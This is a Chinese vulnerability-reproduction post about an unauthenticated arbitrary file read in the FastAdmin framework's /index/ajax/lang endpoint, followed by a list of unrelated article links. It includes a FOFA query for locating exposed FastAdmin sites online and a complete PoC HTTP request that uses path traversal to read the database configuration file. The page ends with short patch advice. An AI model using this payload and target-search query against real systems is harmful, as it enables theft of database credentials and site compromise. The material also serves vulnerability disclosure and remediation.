当前位置: 首页 > news >正文

FastAdmin后台开发框架 lang 任意文件读取漏洞复现

0x01 产品简介

FastAdmin是一款基于PHP+Bootstrap的开源后台框架,专为开发者精心打造。它基于ThinkPHP和Bootstrap两大主流技术构建,拥有完善的权限管理系统和一键生成CRUD等强大功能。FastAdmin致力于提高开发效率,降低开发成本,同时确保后台系统的稳定性和安全性。

0x02 漏洞概述

FastAdmin后台开发框架 /index/ajax/lang 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。

0x03 复现环境

FOFA:

body="fastadmin.net" || body="<h1>fastadmin</h1>" && title="fastadmin"

0x04 漏洞复现

PoC

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

 读取数据库配置

0x05 修复建议

关闭互联网暴露面或接口设置访问权限

升级至安全版本

http://www.lryc.cn/news/375520.html

相关文章:

  • 数字时代PLM系统的重要性
  • 安卓实现圆形按钮轮廓以及解决无法更改按钮颜色的问题
  • 常用原语介绍
  • 29. 透镜阵列
  • 深入理解并打败C语言难关之一————指针(3)
  • Ubuntu-24.04-live-server-amd64启用ssh
  • Leetcode 2786. 访问数组中的位置使分数最大(DP 优化)
  • 【docker实战】使用Dockerfile的COPY拷贝资源遇到的问题
  • 如何用多线程执行 unittest 测试用例实现方案
  • Ascend310 EP模式下容器内进行推理测试
  • (el-Transfer)操作(不使用 ts):Element-plus 中 Select 组件动态设置 options 值需求的解决过程
  • Java基础之Math与Array类与System
  • 警告:Hydration attribute mismatch on Note: this mismatch is check-only.(水合不匹配)
  • 【机器学习】CART决策树算法的核心思想及其大数据时代银行贷款参考案例——机器认知外界的重要算法
  • 编程软件是由什么编程的
  • 如何查看自己本地ip
  • 高考分数限制下,选好专业还是选好学校?
  • Django学习(2)项目实战
  • pdf格式转成jpg图片,pdf格式如何转jpg
  • Java的三个接口Comparable,Comparator,Cloneable(浅拷贝与深拷贝)
  • pytorch学习笔记7
  • LeetCode热题3.无重复的最长字串
  • Python武器库开发-武器库篇之SQL注入扫描器(五十九)
  • 图说设计模式:单例模式
  • 探索设计模式——单例模式详解
  • 建筑垃圾/城市固废倾倒转移乱象:EasyCVR+AI智能视频监控方案助力城市环保监管
  • C的I/O操作
  • Android Audio实战——声道信息回调(五)
  • ThreeJS给模型添加介绍文字(贴在模型上 不会一直面向我们)
  • [Qt] Qt Creator 以及 Qt 在线安装教程